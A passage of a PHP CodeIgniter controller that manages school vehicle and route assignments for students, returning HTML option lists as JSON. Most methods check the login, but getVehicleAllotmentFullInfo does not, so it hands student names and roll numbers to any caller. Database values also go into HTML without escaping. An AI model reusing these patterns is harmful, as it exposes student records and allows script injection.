($this->sessionvalidator->isLoggedIn()) { $vsa_id = $this->input->post('allot_id'); $allotmentUpdateData = array( 'rva_id' => $this->input->post('newvehicle'), 'vsa_updated_on' => date("Y-m-d H:i:s"), 'vsa_updated_by' => 0 //$this->session->userdata("adminData")["smember_id"] ); if ($this->TransportManagement->updateVehicleStudentAllot($allotmentUpdateData, $vsa_id)) { $this->session->set_flashdata('successMessage', 'Allotment Info Updated Successfully.'); redirect("admin/Transport/allotedVehiclesToStudent"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Allotment Info. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getActiveVehicleByRoute() { if ($this->sessionvalidator->isLoggedIn()) { $fhom_id = $this->input->post("route"); $vehicle = $this->input->post("vehicle"); $query = $this->TransportManagement->getAllVehiclesByRoute($fhom_id); $data = $query->result(); $options = "<option value=''>-Select Vehicle-</option>"; for ($i = 0; $i < (sizeof($data)); $i++) { $selected = ($vehicle == $data[$i]->rva_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $data[$i]->rva_id . ">" . $data[$i]->vm_make . " [" . $data[$i]->vm_reg_no . "]" . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'vehicle' => $options ); echo json_encode($responseData); } else { redirect("admin/"); } } public function getVehicleAllotmentFullInfo() { $allot_id = $_POST['allot_id']; $allot_info = $this->TransportManagement->getAllottedVehicleInfoById($allot_id)->result()[0]; $routes = $this->TransportManagement->getRoutesForUpdatingAlloments($allot_info->rva_id)->result(); $options = "<option value=''>Select Route</option>"; for ($i = 0; $i < sizeof($routes); $i++) { $route = $routes[$i]; $options .= "<option value=" . ($route->fhom_id) . ">" . ($route->fhom_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'stu_id' => $allot_info->tspi_id, 'stu_name' => stripslashes($allot_info->tspi_name), 'stu_roll_no' => stripslashes($allot_info->tspi_rollNumber), 'stu_session' => stripslashes($allot_info->session_name), 'stu_course' => stripslashes($allot_info->course_name), 'vsa_id' => $allot_info->vsa_id, 'alloted_route' => stripslashes($allot_info->fhom_name), 'alloted_vehicle' => stripslashes($allot_info->vm_make), 'allot_id' => $allot_info->vsa_id, 'routesForUpdate' => $options ); echo json_encode($responseData); } public function deleteAllotmentVehicleStudent($vsa_id) { if ($this->sessionvalidator->isLoggedIn()) { $studentVehicleAllotUpdateData = array( 'vsa_id' => $vsa_id, 'vsa_updated_on' => date("Y-m-d H:i:s"), 'vsa_updated_by' => $this->session->userdata("adminData")["smember_id"], 'vsa_delete_status' => 'T' ); if ($this->TransportManagement->updateVehicleStudentAllot($studentVehicleAllotUpdateData, $vsa_id)) { $this->session->set_flashdata('successMessage', 'Vehicle Allotment Info Deleted Successfully.'); redirect("admin/Transport/allotedVehiclesToStudent"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Vehicle Allotment Info. Try Later.'); redirect("admin/Transport/allotedVehiclesToStudent"); } } else { redirect("admin/"); } } ///End Student to Vehcile Allotment Stuffs/// }